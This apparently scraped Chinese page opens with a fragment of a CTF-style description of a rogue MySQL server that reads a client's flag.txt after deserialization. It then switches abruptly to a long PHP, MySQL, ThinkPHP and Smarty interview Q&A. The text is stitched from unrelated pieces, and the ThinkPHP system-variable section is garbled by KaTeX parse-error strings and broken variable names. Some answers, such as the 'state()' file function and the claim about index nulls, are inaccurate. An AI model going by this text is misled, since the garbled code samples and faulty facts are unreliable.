執行python腳本后,發包,觸發反序列化后,就會去連接惡意服務器,然后把客戶端下的文件帶出來。
下面就是mysql.log 中的 文件信息(flag.txt)
當腳本處于運行中的時候,我們只可以讀取第一次腳本運行時定義的文件,
因為mysql服務已經打開了,我們需要關閉mysql服務,然后才可以修改腳本中的其他文件。
ps -ef|grep mysql
然后依次 kill 就好。
、PHP基礎部分
1、PHP語言的一大優勢是跨平臺,什么是跨平臺?
PHP的運行環境最優搭配為Apache+MySQL+PHP,此運行環境可以在不同操作系統(例如windows、Linux等)上配置,不受操作系統的限制,所以叫跨平臺
2、WEB開發中數據提交方式有幾種?有什么區別?百度使用哪種方式?
Get與post兩種方式
區別:
(1)url可見性:get 方式url參數可見,post 不可見
(2)可緩存性:get 方式是可以緩存的,post 方式不可以緩存。
(3)傳輸數據大小:get一般傳輸數據大小不超過2k-4k(根據瀏覽器不同,限制不一樣,但相差不大);post 請求傳輸數據的大小根據php.ini 配置文件設定,也可以無限大。
(4)數據傳輸上:get 方式通過url地址欄拼接參數進行傳輸,post 方式通過body體進行傳輸。
建議:
1、get式安全性較Post式要差些包含機密信息建議用Post數據提交式;
2、做數據查詢建議用Get式;做數據添加、修改或刪除建議用Post方式;
百度使用的get方式,因為可以從它的URL中看出
3、掌握PHP的哪些框架、模板引擎、系統等
框架:框架有很多,例如CI、Yii、Laravel等等,咱們學過的是thinkphp
模板引擎:也有很多,在課本中有,咱們學過的是smarty
系統:有很多,例如:康盛的產品(uchome、supesite、discuzX等),帝國系統、DEDE(織夢)、ecshop等,咱們學過的是DEDECMS、Ecshop
4、說一下你所掌握的網頁前端技術有哪些?
熟練掌握DIV+CSS網頁布局,JavaScript,jQuery框架、photoshop圖片處理
5、AJAX的優勢是什么?
ajax是異步傳輸技術,可以通過javascript實現,也可以通過JQuery框架實現,實現局部刷新,減輕了服務器的壓力,也提高了用戶體驗。
6、安全對一套程序來說至關重要,請說說在開發中應該注意哪些安全機制?
(1)使用驗證碼防止注冊機灌水。
(2)使用預處理,綁定參數,參數過濾轉義 防止sql注入
(3)使用token防止遠程提交,使用token驗證登錄狀態。
7、在程序的開發中,如何提高程序的運行效率?
(1)優化SQL語句,查詢語句中盡量不使用select *,用哪個字段查哪個字段;少用子查詢可用表連接代替;少用模糊查詢。
(2)數據表中創建索引。
(3)對程序中經常用到的數據生成緩存(比如使用redis緩存數據,比如使用ob進行動態頁面靜態化等等)。
(4)對mysql做主從復制,讀寫分離。(提高mysq執行效率和查詢速度)
(5)使用nginx做負載均衡。(將訪問壓力平均分配到多態服務器)
8、PHP可否與其它的數據庫搭配使用?
PHP與MYSQL數據庫是最優搭配,當然PHP也可以去其它的數據庫搭配使用,例如PostgreSql,SqlServer,Oracle,SqlLite等。
9、現在編程中經常采取MVC三層結構,請問MVC分別指哪三層,有什么優點?
MVC三層分別指:業務模型、視圖、控制器,由控制器層調用模型處理數據,然后將數據映射到視圖層進行顯示。
優點是:①可以實現代碼的重用性,避免產生代碼冗余;②M和V的實現代碼分離,從而使同一個程序可以使用不同的表現形式
10、對json數據格式的理解?
JSON(JavaScript Object Notation)是一種輕量級的數據交換格式,json數據格式固定,可以被多種語言用作數據的傳遞。
PHP中處理json格式的函數為json_decode( string $json [, bool $assoc ] ) ,接受一個 JSON格式的字符串并且把它轉換為PHP變量,參數json待解碼的json string格式的字符串。assoc當該參數為TRUE時,將返回array而非object;
Json_encode:將PHP變量轉換成json格式。
11、Print、echo、print_r有什么區別?
(1) echo和print都可以做輸出,不同的是,echo不是函數,沒有返回值,而print是一個函數有返回值,所以相對而言如果只是輸出echo會更快,而print_r通常用于打印變量的相關信息,通常在調試中使用。
(2) print 是打印字符串
(3)print_r 則是打印復合類型 如數組 對象
12、SESSION與COOKIE的區別?
(1)存儲位置:session存儲于服務器,cookie存儲于瀏覽器
(2)安全性:session安全性比cookie高
(3)session為‘會話服務’,在使用時需要開啟服務,cookie不需要開啟,可以直接用
13、PHP處理數組的常用函數?(重點看函數的‘參數’和‘返回值’)
(1)array() 創建數組
(2)in_array() 判斷元素是否在數組中
(3)count() 返回數組中元素的數目
(4)array_merge() 將多個數組合并成一個數組
(5)array_diff() 比較兩個或兩個以上數組的差異
(6)array_intersect() 獲取兩個或兩個數組以上的交集
(7)array_keys() 獲取數組的key列表
(8)array_values() 獲取數組的值列表
(9)array_unique() 刪除數組中的重復值
(10)array_push()將一個或多個元素插入數組的末尾(入棧)
(11)array_pop() 彈出并返回 array 數組的最后一個單元(出棧)
(12)array_walk() 使用用戶自定義函數對數組中的每個元素做回調處理
14、PHP處理字符串的常用函數?(重點看函數的‘參數’和‘返回值’)
(1)trim() 移除字符串兩側的空白字符和其他字符;
(2)strlen() 獲取字符串的長度
(3)mb_strlen() 獲取字符串長度(可指定字符編碼,對中文字符串計算長度)
(4)substr()返回字符串的一部分;
(5)str_replace() 子字符串替換
(6)str_repeat () 重復一個字符串
(7)is_string() 檢測變量是否是字符串;
(8)str_shuffle () 隨機打亂一個字符串
(9)sprintf() 返回根據格式化字符串生成的字符串(通常用于獲取分表后的數據表名)
(10)strstr() 查找字符串的首次出現
(11)addslashes 使用反斜線引用字符串
15、PHP處理時間的常用函數?(重點看函數的‘參數’和‘返回值’)
(1)date() 格式化一個本地時間/日期。
(2)getdate() 取得日期/時間信息。
(3)date_default_timezone_set() 設定默認時區。
(4)date_default_timezone_get() 返回默認時區。
(5)mktime() 返回一個日期的 Unix時間戳。
(6)strtotime() 將任何字符串的日期時間描述解析為 Unix 時間戳
(7)strftime() 根據區域設置格式化本地時間/日期
16、PHP處理數據庫的常用函數?(重點看函數的‘參數’和‘返回值’)
請參照php手冊,認真查看,此項非常重要
17、PHP操作文件的常用函數?(重點看函數的‘參數’和‘返回值’)
(1)打開文件 fopen()
(2)讀取文件 fgets() ; 注:file_get_contents()也是讀取文件
(3)寫入文件fwrite() ; 注:file_put_contents()同樣可以寫入文件
(4)關閉文件句柄 fclose()
(5)移動 / 重命名文件 rename()
(6)復制文件 copy()
(7)創建文件 vim 或 touch
(8)刪除文件 unlink()
(9)獲取文件上次訪問的時間 fileatime()
(10)獲取文件上次修改的時間 filemtime()
(11)獲取文件大小 filesize()
(12)獲取文件類型 filetype()
(13)獲取文件詳細信息 state()
(14)判斷是否是目錄 is_dir()
18、PHP操作目錄(文件夾)的常用函數?(重點看函數的‘參數’和‘返回值’)
(1)打開目錄 opendir()
(2)讀取目錄 readdir()
(3)刪除目錄 rmdir()
(4)關閉目錄句柄 closedir()
(5)創建目錄 mkdir()
(6)返回路徑中的目錄部分 dirname()
(7)取得當前工作目錄 getcwd()
(8)列出指定路徑中的文件和目錄 scandir()
二 、數據庫部分
常見的關系型數據庫管理系統產品有?
答:Oracle、SQL Server、MySQL、Sybase、DB2、Access等。
SQL語言包括哪幾部分?每部分都有哪些操作關鍵字?
答:SQL語言包括數據定義(DDL)、數據操縱(DML),數據控制(DCL)和數據查詢(DQL)四個部分。
數據定義:Create Table,Alter Table,Drop Table, Craete/Drop Index等
數據操縱:Select ,insert,update,delete,
數據控制:grant,revoke
數據查詢:select
完整性約束包括哪些?
數據完整性(Data Integrity)是指數據的精確(Accuracy) 和 可靠性(Reliability)。
包括:
(1)實體完整性:規定表的每一行在表中是惟一的實體。
(2)域完整性:是指表中的列必須滿足某種特定的數據類型約束,其中約束又包括取值范圍、精度等規定。
(3)參照完整性:是指兩個表的主關鍵字和外關鍵字的數據應一致,保證了表之間的數據的一致性,防止了數據丟失或無意義的數據在數據庫中擴散。
(4) 用戶定義的完整性:不同的關系數據庫系統根據其應用環境的不同,往往還需要一些特殊的約束條件。用戶定義的完整性即是針對某個特定關系數據庫的約束條件,它反映某一具體應用必須滿足的語義要求。
什么是事務?及其特性?
事務:是一系列的數據庫操作,是數據庫應用的基本邏輯單位。
特性:
(1)原子性:即不可分割性,事務要么全部被執行,要么就全部不被執行。
(2)一致性或可串性。事務的執行使得數據庫從一種正確狀態轉換成另一種正確狀態
(3)隔離性。在事務正確提交之前,不允許把該事務對數據的任何改變提供給任何其他事務,
(4) 持久性。事務正確提交后,其結果將永久保存在數據庫中,即使在事務提交后有了其他故障,事務的處理結果也會得到保存。
簡單理解:在事務里的操作,要么全部成功,要么全部失敗。
什么是鎖?
數據庫是一個多用戶使用的共享資源。當多個用戶并發地存取數據時,在數據庫中就會產生多個事務同時存取同一數據的情況。若對并發操作不加控制就可能會讀取和存儲不正確的數據,破壞數據庫的一致性。
加鎖是實現數據庫并發控制的一個非常重要的技術。當事務在對某個數據對象進行操作前,先向系統發出請求,對其加鎖。加鎖后事務就對該數據對象有了一定的控制,在該事務釋放鎖之前,其他的事務不能對此數據對象進行更新操作。
基本鎖類型:鎖包括行級鎖和表級鎖
什么叫視圖?游標是什么?
視圖是一種虛擬的表,具有和物理表相同的功能。可以對視圖進行增,改,查,操作,視圖通常是有一個表或者多個表的行或列的子集。對視圖的修改不影響基本表。它使得我們獲取數據更容易,相比多表查詢。
游標:是對查詢出來的結果集作為一個單元來有效的處理。游標可以定在該單元中的特定行,從結果集的當前行檢索一行或多行。可以對結果集當前行做修改。一般不使用游標,但是需要逐條處理數據的時候,游標顯得十分重要。
什么是存儲過程?用什么來調用?
存儲過程是一個預編譯的SQL語句,優點是允許模塊化的設計,就是說只需創建一次,以后在該程序中就可以調用多次。如果某次操作需要執行多次SQL,使用存儲過程比單純SQL語句執行要快。可以用一個命令對象來調用存儲過程。
索引的作用?和它的優點缺點是什么?
索引就一種特殊的查詢表,數據庫的搜索引擎可以利用它加速對數據的檢索。它很類似與現實生活中書的目錄,不需要查詢整本書內容就可以找到想要的數據。索引可以是唯一的,創建索引允許指定單個列或者是多個列。
缺點是它減慢了數據錄入的速度,同時也增加了數據庫的尺寸大小。
如何通俗地理解三個范式?
第一范式:1NF是對屬性的原子性約束,要求屬性具有原子性,不可再分解;
第二范式:2NF是對記錄的惟一性約束,要求記錄有惟一標識,即實體的惟一性;
第三范式:3NF是對字段冗余性的約束,即任何字段不能由其他字段派生出來,它要求字段沒有冗余。。
什么是基本表?什么是視圖?
基本表是本身獨立存在的表,在 SQL 中一個關系就對應一個表。
視圖是從一個或幾個基本表導出的表。視圖本身不獨立存儲在數據庫中,是一個虛表
試述視圖的優點?
(1) 視圖能夠簡化用戶的操作
(2) 視圖使用戶能以多種角度看待同一數據;
(3) 視圖為數據庫提供了一定程度的邏輯獨立性;
(4) 視圖能夠對機密數據提供安全保護。
NULL是什么意思
NULL這個值表示UNKNOWN(未知):它不表示“”(空字符串)。
對NULL這個值的任何比較都會生產一個NULL值。
您不能把任何值與一個 NULL值進行比較,并在邏輯上希望獲得一個答案。
使用IS NULL來進行NULL判斷
主鍵、外鍵和索引的區別?
主鍵、外鍵和索引的區別
定義:
主鍵–唯一標識一條記錄,不能有重復的,不允許為空
外鍵–表的外鍵是另一表的主鍵, 外鍵可以有重復的, 可以是空值
索引–該字段沒有重復值,但可以有一個空值
作用:
主鍵–用來保證數據完整性
外鍵–用來和其他表建立聯系用的
索引–是提高查詢排序的速度
個數:
主鍵–主鍵只能有一個
外鍵–一個表可以有多個外鍵
索引–一個表可以有多個唯一索引
你可以用什么來確保表格里的字段只接受特定范圍里的值?
Check限制,它在數據庫表格里被定義,用來限制輸入該列的值。
說說對SQL語句優化有哪些方法?(選擇幾條)
(1)Where子句中:where表之間的連接必須寫在其他Where條件之前,那些可以過濾掉最大數量記錄的條件必須寫在Where子句的末尾.HAVING最后。
(2)用EXISTS替代IN、用NOT EXISTS替代NOT IN。
(3) 避免在索引列上使用計算
(4)避免在索引列上使用IS NULL和IS NOT NULL
(5)對查詢進行優化,應盡量避免全表掃描,首先應考慮在 where 及 order by 涉及的列上建立索引。
(6)應盡量避免在 where 子句中對字段進行 null 值判斷,否則將導致引擎放棄使用索引而進行全表掃描
(7)應盡量避免在 where 子句中對字段進行表達式操作,這將導致引擎放棄使用索引而進行全表掃描
SQL語句中‘相關子查詢’與‘非相關子查詢’有什么區別?
(1)非相關子查詢是獨立于外部查詢的子查詢,子查詢總共執行一次,執行完畢后將值傳遞給外部查詢。
(2)相關子查詢的執行依賴于外部查詢的數據,外部查詢執行一行,子查詢就執行一次。
因此非相關子查詢比相關子查詢效率高
char和varchar的區別?
char是一種固定長度的類型,varchar則是一種可變長度的類型。
區別:
char(M)類型的數據列里,每個值都占用M個字節,如果某個長度小于M,MySQL就會在它的右邊用空格字符補足。(在檢索操作中那些填補出來的空格字符將被去掉)。
varchar(M)類型的數據列里,每個值只占用剛好夠用的字節再加上一個用來記錄其長度的字節(即總長度為L+1字節)。
Mysql 的存儲引擎,myisam和innodb的區別。
MyISAM 是非事務的存儲引擎;適合用于頻繁查詢的應用;表鎖,不會出現死鎖;不支持事務。適合小數據,小并發
innodb是支持事務的存儲引擎;適合于插入和更新操作比較多的應用;設計合理的話是行鎖(最大區別就在鎖的級別上);適合大數據,大并發。
數據表類型有哪些
MyISAM、InnoDB、HEAP、BOB,ARCHIVE,CSV等。
MyISAM:成熟、穩定、易于管理,快速讀取。一些功能不支持(事務等),表級鎖。
InnoDB:支持事務、外鍵等特性、數據行鎖定。空間占用大,不支持全文索引等。
MySQL數據庫作發布系統的存儲,一天五萬條以上的增量,預計運維三年,怎么優化?
(1)設計良好的數據庫結構,允許部分數據冗余,盡量避免join查詢,提高效率。
(2) 選擇合適的表字段數據類型和存儲引擎,適當的添加索引。
(3) 做mysql主從復制讀寫分離。
(4)對數據表進行分表,減少單表中的數據量提高查詢速度。
(5)添加緩存機制,比如redis,memcached等。
(6)對不經常改動的頁面,生成靜態頁面(比如做ob緩存)。
(7)書寫高效率的SQL。比如 SELECT * FROM TABEL 改為 SELECT field_1, field_2, field_3 FROM TABLE.
對于大流量的網站,您采用什么樣的方法來解決各頁面訪問量統計問題?
(1) 確認服務器是否能支撐當前訪問量。
(2) 優化數據庫訪問。
(3)禁止外部訪問鏈接(盜鏈), 比如圖片盜鏈。
(4)控制文件下載。
(5)做負載均衡,使用不同主機分流。
(6)使用瀏覽統計軟件,了解訪問量,有針對性的進行優化。
三、 面向對象部分
1、什么是面向對象?(理解著回答)
面向對象是一種思想,是基于面向過程而言的,就是說面向對象是將功能等通過對象來實現,將功能封裝進對象之中,讓對象去實現具體的細節。
面向對象有三大特征:封裝性、繼承性、多態性。
現在純正的OO語言主要是 Java 和 C#,PHP、C++也支持OO,C是面向過程的。
2、簡述 private、 protected、 public修飾符的訪問權限。
private : 私有成員, 在類的內部才可以訪問。
protected : 保護成員,該類內部和繼承類中可以訪問。
public : 公共成員,完全公開,沒有訪問限制。
3、堆和棧的區別?
棧是編譯期間就分配好的內存空間,因此你的代碼中必須就棧的大小有明確的定義;
堆是程序運行期間動態分配的內存空間,你可以根據程序的運行情況確定要分配的堆內存的大小。
4、XML 與 HTML 的主要區別
語法要求不同:
(1)在html中不區分大小寫,在xml中嚴格區分。
(2)在HTML中,有時不嚴格,如果上下文清楚地顯示出段落或者列表鍵在何處結尾,那么你可以省略
或者之類的結束標記。在XML中,是嚴格的樹狀結構,絕對不能省略掉結束標記。
(3) 在XML中,擁有單個標記而沒有匹配的結束標記的元素必須用一個/ 字符作為結尾。這樣分析器就知道不用查找結束標記了。
(4)在XML中,屬性值必須分裝在引號中。在HTML中,引號是可用可不用的。
(5)在HTML中,可以擁有不帶值的屬性名。在XML中,所有的屬性都必須帶有相應的值。
(6) 在XML文檔中,空白部分不會被解析器自動刪除;但是html是過濾掉空格的。
標記不同:
(1)html使用固有的標記;而xml沒有固有的標記。
(2)Html標簽是預定義的;XML標簽是免費的、自定義的、可擴展的。
作用不同:
(1)html是用來顯示數據的;xml是用來描述數據、存放數據的,所以可以作為持久化的介質!Html將數據和顯示結合在一起,在頁面中把這數據顯示出來;xml則將數據和顯示分開。 XML被設計用來描述數據,其焦點是數據的內容。HTML被設計用來顯示數據,其焦點是數據的外觀。
(2)xml不是HTML的替代品,xml和html是兩種不同用途的語言。 XML 不是要替換 HTML;實際上XML 可以視作對 HTML 的補充。XML 和HTML 的目標不同HTML 的設計目標是顯示數據并集中于數據外觀,而XML的設計目標是描述數據并集中于數據的內容。
(3)對于XML最好的形容可能是: XML是一種跨平臺的,與軟、硬件無關的,處理與傳輸信息的工具。
(4)XML未來將會無所不在。XML將成為最普遍的數據處理和數據傳輸的工具。
5、面向對象的特征有哪些方面?
主要有封裝,繼承,多態。如果是4個方面則加上:抽象。
封裝:
封裝是保證軟件部件具有優良的模塊性的基礎,封裝的目標就是要實現軟件部件的高內聚,低耦合,防止程序相互依賴性而帶來的變動影響.
繼承:
在定義和實現一個類的時候,可以在一個已經存在的類的基礎之上來進行,把這個已經存在的類所定義的內容作為自己的內容,并可以加入若干新的內容,或修改原來的方法使之更適合特殊的需要,這就是繼承。繼承是子類自動共享父類數據和方法的機制,這是類之間的一種關系,提高了軟件的可重用性和可擴展性。
多態:
多態是指程序中定義的引用變量所指向的具體類型和通過該引用變量發出的方法調用在編程時并不確定,而是在程序運行期間才確定,即一個引用變量倒底會指向哪個類的實例對象,該引用變量發出的方法調用到底是哪個類中實現的方法,必須在由程序運行期間才能決定。
抽象:
抽象就是找出一些事物的相似和共性之處,然后將這些事物歸為一個類,這個類只考慮這些事物的相似和共性之處,并且會忽略與當前主題和目標無關的那些方面,將注意力集中在與當前目標有關的方面。例如,看到一只螞蟻和大象,你能夠想象出它們的相同之處,那就是抽象。
6、抽象類和接口的概念以及區別?
抽象類:它是一種特殊的,不能被實例化的類,只能作為其他類的父類使用。使用abstract關鍵字聲明。
接口:它是一種特殊的抽象類,也是一個特殊的類,使用interface聲明。
區別:
(1)抽象類的操作通過繼承關鍵字extends實現,而接口的使用是通過implements關鍵字來實現。
(2)抽象類中有數據成員,可以實現數據的封裝,但是接口沒有數據成員。
(3)抽象類中可以有構造方法,但是接口沒有構造方法。
(4)抽象類的方法可以通過private、protected、public關鍵字修飾(抽象方法不能是private),而接口中的方法只能使用public關鍵字修飾。
(5)一個類只能繼承于一個抽象類,而一個類可以同時實現多個接口。
(6)抽象類中可以有成員方法的實現代碼,而接口中不可以有成員方法的實現代碼。
7、什么是構造函數,什么是析構函數,作用是什么?
構造函數(方法)是對象創建完成后第一個被對象自動調用的方法。它存在于每個聲明的類中,是一個特殊的成員方法。作用是執行一些初始化的任務。Php中使用__construct()聲明構造方法,并且只能聲明一個。
析構函數(方法)作用和構造方法正好相反,是對象被銷毀之前最后一個被對象自動調用的方法。是PHP5中新添加的內容作用是用于實現在銷毀一個對象之前執行一些特定的操作,諸如關閉文件和釋放內存等。
8、如何重載父類的方法,舉例說明
重載,即覆蓋父類的方法,也就是使用子類中的方法替換從父類中繼承的方法,也叫方法的重寫。
覆蓋父類方法的關鍵是在子類中創建于父類中相同的方法包括方法的名稱、參數和返回值類型。PHP中只要求方法的名稱相同即可。
9、常用的魔術方法有哪些?舉例說明
php規定以兩個下劃線(__)開頭的方法都保留為魔術方法,所以建議大家函數名最好不用__開頭,除非是為了重載已有的魔術方法。
__construct() 實例化類時自動調用。
__destruct() 類對象使用結束時自動調用。
__set() 在給未定義的屬性賦值的時候調用。
__get() 調用未定義的屬性時候調用。
__isset() 使用isset()或empty()函數時候會調用。
__unset() 使用unset()時候會調用。
__sleep() 使用serialize序列化時候調用。
__wakeup() 使用unserialize反序列化的時候調用。
__call() 調用一個不存在的方法的時候調用。
__callStatic()調用一個不存在的靜態方法是調用。
__toString() 把對象轉換成字符串的時候會調用。比如 echo。
__invoke() 當嘗試把對象當方法調用時調用。
__set_state() 當使用var_export()函數時候調用。接受一個數組參數。
__clone() 當使用clone復制一個對象時候調用。
10、$this和self、parent這三個關鍵詞分別代表什么?在哪些場合下使用?
$this 當前對象
self 當前類
parent 當前類的父類
$this在當前類中使用,使用->調用屬性和方法。
self也在當前類中使用,不過需要使用::調用。
parent在類中使用。
11、類中如何定義常量、如何類中調用常量、如何在類外調用常量。
類中的常量也就是成員常量,常量就是不會改變的量,是一個恒值。
定義常量使用關鍵字const.
例如:const PI = 3.1415326;
無論是類內還是類外,常量的訪問和變量是不一樣的,常量不需要實例化對象,
訪問常量的格式都是類名加作用域操作符號(雙冒號)來調用。
即:類名 :: 類常量名;
12、作用域操作符::如何使用?都在哪些場合下使用?
(1)調用類常量
(2)調用靜態方法(使用static修飾的類方法)
13、__autoload()方法的工作原理是什么?
使用這個魔術函數的基本條件是類文件的文件名要和類的名字保持一致。
當程序執行到實例化某個類的時候,如果在實例化前沒有引入這個類文件,那么就自動執行__autoload()函數。
這個函數會根據實例化的類的名稱來查找這個類文件的路徑,當判斷這個類文件路徑下確實存在這個類文件后
就執行include或者require來載入該類,然后程序繼續執行,如果這個路徑下不存在該文件時就提示錯誤。
使用自動載入的魔術函數可以不必要寫很多個include或者require函數。
四、THINKPHP部分
1、常見的PHP框架
答:thinkPHP、laravel、yii、ci 等。
2、如何理解TP中的單一入口文件?
ThinkPHP采用單一入口模式進行項目部署和訪問,無論完成什么功能,一個項目都有一個統一(但不一定是唯一)的入口。應該說,所有項目都是從入口文件開始的,并且所有的項目的入口文件是類似的。
入口文件中主要包括:
(1)定義框架路徑、項目路徑和項目名稱(可選)
(2)定義調試模式和運行模式的相關常量(可選)
(3)載入框架入口文件(必須)
3、ThinkPHP中的MVC分層是什么?(理解)
MVC 是一種將應用程序的邏輯層和表現層進行分離的方法。ThinkPHP 也是基于MVC設計模式的。MVC只是一個抽象的概念,并沒有特別明確的規定,ThinkPHP中的MVC分層大致體現在:
模型(M):模型的定義由Model類來完成。
控制器(C):應用控制器(核心控制器App類)和Action控制器都承擔了控制器的角色,Action控制器完成業務過程控制,而應用控制器負責調度控制。
視圖(V):由View類和模板文件組成,模板做到了100%分離,可以獨立預覽和制作。
但實際上,ThinkPHP并不依賴M或者V ,也就是說沒有模型或者視圖也一樣可以工作。甚至也不依賴C,這是因為ThinkPHP在Action之上還有一個總控制器,即App控制器,負責應用的總調度。在沒有C的情況下,必然存在視圖V,否則就不再是一個完整的應用。
總而言之,ThinkPHP的MVC模式只是提供了一種敏捷開發的手段,而不是拘泥于MVC本身。
4、如何進行SQL優化?(關于后邊的解釋同學們可以進行理解,到時根據自己的理解把大體意思說出來即可)
(1)選擇正確的存儲引擎
MyISAM 適合于一些需要大量查詢的應用,但其對于有大量寫操作并不是很好。甚至你只是需要update一個字段,整個表都會被鎖起來,而別的進程,就算是讀進程都無法操作直到讀操作完成。另外,MyISAM 對于 SELECT COUNT(*) 這類的計算是超快無比的。
InnoDB 的趨勢會是一個非常復雜的存儲引擎,對于一些小的應用,它會比 MyISAM 還慢。但是它支持“行鎖” ,于是在寫操作比較多的時候,會更優秀。并且,他還支持更多的高級應用,比如:事務。
(2)優化字段的數據類型
記住一個原則,越小的列會越快。如果一個表只會有幾列罷了(比如說字典表,配置表),那么,我們就沒有理由使用 INT 來做主鍵,使用 MEDIUMINT, SMALLINT 或是更小的 TINYINT 會更經濟一些。如果你不需要記錄時間,使用 DATE 要比 DATETIME 好得多。當然,你也需要留夠足夠的擴展空間。
(3)為搜索字段添加索引
索引并不一定就是給主鍵或是唯一的字段。如果在你的表中,有某個字段你總要會經常用來做搜索,那么最好是為其建立索引,除非你要搜索的字段是大的文本字段,那應該建立全文索引。
(4)避免使用Select 從數據庫里讀出越多的數據,那么查詢就會變得越慢。并且,如果你的數據庫服務器和WEB服務器是兩臺獨立的服務器的話,這還會增加網絡傳輸的負載。即使你要查詢數據表的所有字段,也盡量不要用通配符,善用內置提供的字段排除定義也許能給帶來更多的便利。
(5)使用 ENUM 而不是 VARCHAR
ENUM 類型是非常快和緊湊的。在實際上,其保存的是 TINYINT,但其外表上顯示為字符串。這樣一來,用這個字段來做一些選項列表變得相當的完美。例如,性別、民族、部門和狀態之類的這些字段的取值是有限而且固定的,那么,你應該使用 ENUM 而不是 VARCHAR。
(6)盡可能的使用 NOT NULL
除非你有一個很特別的原因去使用 NULL 值,你應該總是讓你的字段保持 NOT NULL。 NULL其實需要額外的空間,并且,在你進行比較的時候,你的程序會更復雜。 當然,這里并不是說你就不能使用NULL了,現實情況是很復雜的,依然會有些情況下,你需要使用NULL值。
(7)固定長度的表會更快
如果表中的所有字段都是“固定長度”的,整個表會被認為是 “static” 或 “fixed-length”。 例如,表中沒有如下類型的字段: VARCHAR,TEXT,BLOB。只要你包括了其中一個這些字段,那么這個表就不是“固定長度靜態表”了,這樣,MySQL 引擎會用另一種方法來處理。
固定長度的表會提高性能,因為MySQL搜尋得會更快一些,因為這些固定的長度是很容易計算下一個數據的偏移量的,所以讀取的自然也會很快。而如果字段不是定長的,那么,每一次要找下一條的話,需要程序找到主鍵。
并且,固定長度的表也更容易被緩存和重建。不過,唯一的副作用是,固定長度的字段會浪費一些空間,因為定長的字段無論你用不用,他都是要分配那么多的空間。
5、如何理解 ThinkPHP 3.0 架構(核心 + 行為 + 驅動)中的行為?
(1)核心(Core):就是框架的核心代碼,不可缺少的東西,TP本身是基于MVC思想開發的框架。
(2)行為(Behavior) :行為在新版ThinkPHP的架構里面起著舉足輕重的作用,在系統核心之上,設置了很多標簽擴展位,而每個標簽位置可以依次執行各自的獨立行為。行為擴展就因此而誕生了,而且很多系統功能也是通過內置的行為擴展完成的,所有行為擴展都是可替換和增加的,由此形成了底層框架可組裝的基礎。
(3)驅動( Driver ):數據庫驅動、緩存驅動、標簽庫驅動和模板引擎驅動,以及外置的類擴展。
6、什么是慣例配置?
所謂的慣例配置,便是框架的自帶的配置文件。該文件在核心框架目錄下的convention.php中,配置內容如下。由于該文件屬于框架自帶的配置文件,在實際的開發過程中,主要給我們做參考實例使用,我們很少去修改該文件的配置內容,更多的是根據需求來按照慣例配置中的字段定義和注釋來在模塊或者Common中自定義配置內容。
7、什么是SQL注入?(理解)
SQL注入攻擊是黑客對數據庫進行攻擊的常用手段之一。
一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,注入者可以在表單中輸入一段數據庫查詢代碼并提交,程序將提交的信息拼湊生成一個完整sql語句,服務器被欺騙而執行該條惡意的SQL命令。注入者根據程序返回的結果,成功獲取一些敏感數據,甚至控制整個服務器,這就是SQL注入。
8、ThinkPHP如何防止SQL注入?(理解)
(1)查詢條件盡量使用數組方式,這是更為安全的方式;
(2)如果不得已必須使用字符串查詢條件,使用預處理機制;
(3)使用綁定參數
(4)開啟數據字段類型驗證,可以對數值數據類型做強制轉換;(3.1版本開始已經強制進行字段類型驗證了)
(5)使用自動驗證和自動完成機制進行針對應用的自定義過濾;
(6)使用字段類型檢查、自動驗證和自動完成機制等避免惡意數據的輸入。
9、如何開啟調試模式?調試模式有什么好處?
開啟調試模式很簡單,只需要在入口文件中增加一行常量定義代碼:
1
2
// 開啟調試模式 建議開發階段開啟 部署階段注釋或者設為false
define(‘APP_DEBUG’, true);
調試模式的優勢在于: 開啟日志記錄,任何錯誤信息和調試信息都會詳細記錄,便于調試; 關閉模板緩存,模板修改可以即時生效; 記錄SQL日志,方便分析SQL; 關閉字段緩存,數據表字段修改不受緩存影響; 嚴格檢查文件大小寫(即使是Windows平臺),幫助你提前發現Linux部署問題; 可以方便用于開發過程的不同階段,包括開發、測試和演示等任何需要的情況,不同的應用模式可以配置獨立的項目配置文件。
10、TP中支持哪些配置模式?優先級?
慣例配置->應用配置->模式配置->調試配置->狀態配置->模塊配置->擴展配置->動態配置
以上是配置文件的加載順序,因為后面的配置會覆蓋之前的同名配置(在沒有生效的前提下),所以優先順序從右到左。
11、TP中的URL模式有哪幾種?默認是哪種?
ThinkPHP支持四種URL模式,可以通過設置URL_MODEL參數來定義,包括普通模式、PATHINFO、REWRITE和兼容模式。
默認模式為:PATHINFO模式,設置URL_MODEL 為1
12、TP中系統變量有哪些?如何獲取系統變量?
(1)系統變量:SERVER、 _SERVER、
S
ERVER、_ENV、 $_POST、 $_GET、 REQUEST、 _REQUEST、
R
EQUEST、_SESSION和 $_COOKIE變量
(2)獲取系統變量:
1
2
3
4
{KaTeX parse error: Expected 'EOF', got '}' at position 25: …ver.script_name}? // 輸出_SERVER[‘SCRIPT_NAME’]變量
{KaTeX parse error: Expected 'EOF', got '}' at position 22: …session.user_id}? // 輸出_SESSION[‘user_id’]變量
{KaTeX parse error: Expected 'EOF', got '}' at position 21: ….get.pageNumber}? // 輸出_GET[‘pageNumber’]變量
{KaTeX parse error: Expected 'EOF', got '}' at position 18: …ink.cookie.name}? // 輸出_COOKIE[‘name’]變量
13、ThinkPHP框架中D函數與M函數的區別是什么?
M方法實例化模型無需用戶為每個數據表定義模型類,D方法可以自動檢測模型類,如果存在自定義的模型類,則實例化自定義模型類,如果不存在,則會自動調用M方法去實例化Model基類。同時對于已實例化過的模型,不會重復去實例化(單例模式)。
五、smarty模板引擎
1、編譯和緩存區別?
smarty的編譯過程就是把模板拿過來,把里面的標簽替換成相應php代碼,這就是smarty的編譯, 其實就是php和html混合的過程
smarty的緩存需要手動開啟,smarty的緩存就是把編譯好的文件執行后,同時生成一份靜態的html頁面,再次訪問的時候,你訪問的就是是html文件了,所以就效率來說,要高一些。
2、什么是smarty? Smarty的優點是什么?
Smarty是一個使用PHP寫出來的PHP模板引擎,目的是要使用PHP程序同美工分離,使的程序員改變程序的邏輯內容時不會影響到美工的頁面設計,美工重新修改頁面時不會影響到程序的程序邏輯,這在多人合作的項目中顯的尤為重要。(也易于程序的多樣式開發)
Smarty優點
(1)速度快:相對其他模板引擎。
(2) 編譯型:采用smarty編寫的程序在運行時要編譯成一個非模板技術的PHP文件
(3)緩存技術:它可以將用戶最終看到的HTML文件緩存成一個靜態的HTML頁
(4)插件技術:smarty可以自定義插件。
不適合使用smarty的地方
(1)需要實時更新的內容。例如像股票顯示,它需要經常對數據進行更新
(2)小項目。小項目因為項目簡單而美工與程序員兼于一人的項目
